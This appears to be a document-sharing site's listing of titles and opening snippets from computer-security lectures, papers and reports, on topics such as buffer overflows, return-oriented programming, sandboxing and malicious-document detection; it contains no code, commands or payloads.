CSE543 - Introduction to Computer and Network Security Module: Advanced Program Vulnerabilities and Defenses Professor Trent Jaeger 29 Anatomy of Control-Flow Exploits Two steps in control-flow exploitation
Sandboxing untrusted code: policies and mechanisms
Sandboxing untrusted code: policies and mechanisms Frank Piessens (Frank.Piessens@cs.kuleuven.be) Secappdev 2011 1 Overview Introduction Java and.net Sandboxing Runtime monitoring Information Flow Control
ID: Sample Name: 11youtube3.com Cookbook: default.jbs Time: 08:17:42 Date: 12/04/2018 Version:
ID: 54295 Sample Name: 11youtube3.com Cookbook: default.jbs Time: 08:1:42 Date: 12/04/2018 Version: 22.0.0 Table of Contents Table of Contents Analysis Report Overview General Information Detection Confidence
Invasion of Malware Evading the Behavior-based Analysis
Invasion of Malware Evading the Behavior-based Analysis Memory-Based Exploit Analysis of AhnLab MDS Feb. 21, 2014 Content Introduction... 3 Ever-evolving Malware Bypass Even Sandbox-based Behavior Analysis...
Security issues. Unit 27 Web Server Scripting Extended Diploma in ICT 2016 Lecture: Phil Smith
Security issues Unit 27 Web Server Scripting Extended Diploma in ICT 2016 Lecture: Phil Smith Criteria D3 D3 Recommend ways to improve web security when using web server scripting Clean browser input Don
NET 311 INFORMATION SECURITY
NET 311 INFORMATION SECURITY Networks and Communication Department Lec12: Software Security / Vulnerabilities lecture contents: o Vulnerabilities in programs Buffer Overflow Cross-site Scripting (XSS)
The Geometry of Innocent Flesh on the Bone
The Geometry of Innocent Flesh on the Bone Return-into-libc without Function Calls (on the x86) Hovav Shacham hovav@cs.ucsd.edu CCS 07 Technical Background Gadget: a short instructions sequence (e.x. pop
IA-32 Architecture. CS 4440/7440 Malware Analysis and Defense
IA-32 Architecture CS 4440/7440 Malware Analysis and Defense Intel x86 Architecture } Security professionals constantly analyze assembly language code } Many exploits are written in assembly } Source code
The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86) Hovav Shacham presented by: Fabian Fäßler
The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86) Hovav Shacham presented by: Fabian Fäßler return-oriented programming Hovav Shacham presented by: Fabian
Software Vulnerabilities August 31, 2011 / CS261 Computer Security
Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities...1 Review paper discussion...2 Trampolining...2 Heap smashing...2 malloc/free...2 Double freeing...4 Defenses...5
Intrusion Detection Systems. What To Observe? What To Observe?
BunnyTN Terzo Workshop di Crittografia Trento March 1, 01 UNOBSERVABLE INTRUSION DETECTION BASED ON CALL TRACES IN PARAVIRTUALIZED SYSTEMS Marino Miculan University of Udine Google: miculan (Work in collaboration
Shellzer: a tool for the dynamic analysis of malicious shellcode
Shellzer: a tool for the dynamic analysis of malicious shellcode Yanick Fratantonio 1, Christopher Kruegel 2, and Giovanni Vigna 2 1 Politecnico di Milano, Italy yanick.fratantonio@mail.polimi.it 2 University
MRG Effitas Trapmine Exploit Test
MRG Effitas Trapmine Exploit Test 1 Contents Introduction... 3 Certifications... 3 Tests Applied... 3 Sample sets... 3 Participants... 4 Methodology... 4 Results... 6 Known metasploit samples... 6 In-the-wild
Ben Livshits and Úlfar Erlingsson. Microsoft Research
Ben Livshits and Úlfar Erlingsson Microsoft Research Web application vulnerabilities more widespread than ever The usual suspects from Web 1.0 SQL injection Cross site scripting (XSS) Cross site request
The security of Mozilla Firefox s Extensions. Kristjan Krips
The security of Mozilla Firefox s Extensions Kristjan Krips Topics Introduction The extension model How could extensions be used for attacks - website defacement - phishing attacks - cross site scripting
PlatPal: Detecting Malicious Documents with Platform Diversity
PlatPal: Detecting Malicious Documents with Platform Diversity Meng Xu and Taesoo Kim Georgia Institute of Technology 1 Malicious Documents On the Rise 2 3 4 Adobe Components Exploited Element parser JavaScript
Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts
This time We will begin our 1st section: Software Security By investigating Buffer overflows and other memory safety vulnerabilities History Memory layouts Buffer overflow fundamentals Software security
Memory Management. Kevin Webb Swarthmore College February 27, 2018
Memory Management Kevin Webb Swarthmore College February 27, 2018 Today s Goals Shifting topics: different process resource memory Motivate virtual memory, including what it might look like without it
FCScan: A New Lightweight and Effective Approach for Detecting Malicious Content in Electronic Documents
FCScan: A New Lightweight and Effective Approach for Detecting Malicious Content in Electronic Documents Master Thesis June 11, 2013 Christiaan Leonard Schade MSc Computer Science Specialization Computer
Finding 0-days by Using VulnHunt
Finding 0-days by Using VulnHunt Wei Wang(alert7) Code Audit Labs of Vulnhunt Co.,Ltd 翰海源 www.vulnhunt.com Agenda About author Vulnhunt Internal Ring3 VM Tainted Propagate Analysis Modules of checking
Lecture 15 Intel Manual, Vol. 1, Chapter 3. Fri, Mar 6, Hampden-Sydney College. The x86 Architecture. Robb T. Koether. Overview of the x86
Lecture 15 Intel Manual, Vol. 1, Chapter 3 Hampden-Sydney College Fri, Mar 6, 2009 Outline 1 2 Overview See the reference IA-32 Intel Software Developer s Manual Volume 1: Basic, Chapter 3. Instructions
Applications. Cloud. See voting example (DC Internet voting pilot) Select * from userinfo WHERE id = %%% (variable)
Software Security Requirements General Methodologies Hardware Firmware Software Protocols Procedure s Applications OS Cloud Attack Trees is one of the inside requirement 1. Attacks 2. Evaluation 3. Mitigation
KASPERSKY FRAUD PREVENTION FOR ENDPOINTS
KASPERSKY FRAUD PREVENTION FOR ENDPOINTS www.kaspersky.com KASPERSKY FRAUD PREVENTION 1. Ways of Attacking Online Banking The prime motive behind cybercrime is making money and today s sophisticated criminal
Buffer overflow background
and heap buffer background Comp Sci 3600 Security Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Outline and heap buffer Heap 1 and heap 2 3 buffer 4 5 Heap Address Space and heap buffer
BUFFER OVERFLOW. Jo, Heeseung
BUFFER OVERFLOW Jo, Heeseung IA-32/LINUX MEMORY LAYOUT Heap Runtime stack (8MB limit) Dynamically allocated storage When call malloc(), calloc(), new() DLLs (shared libraries) Data Text Dynamically linked
Buffer Overflow. Jo, Heeseung
Buffer Overflow Jo, Heeseung IA-32/Linux Memory Layout Heap Runtime stack (8MB limit) Dynamically allocated storage When call malloc(), calloc(), new() DLLs (shared libraries) Data Text Dynamically linked
BOOSTING THE SECURITY
BOOSTING THE SECURITY OF YOUR ANGULAR APPLICATION Philippe De Ryck March 2017 https://www.websec.be ANGULAR APPLICATIONS RUN WITHIN THE BROWSER JS code HTML code Load application JS code / HTML code JS
CS 3843 Final Exam Fall 2012
CS 3843 Final Exam Fall 2012 Name (Last), (First) ID Please indicate your session: Morning Afternoon You may use a calculator and two sheets of notes on this exam, but no other materials and no computer.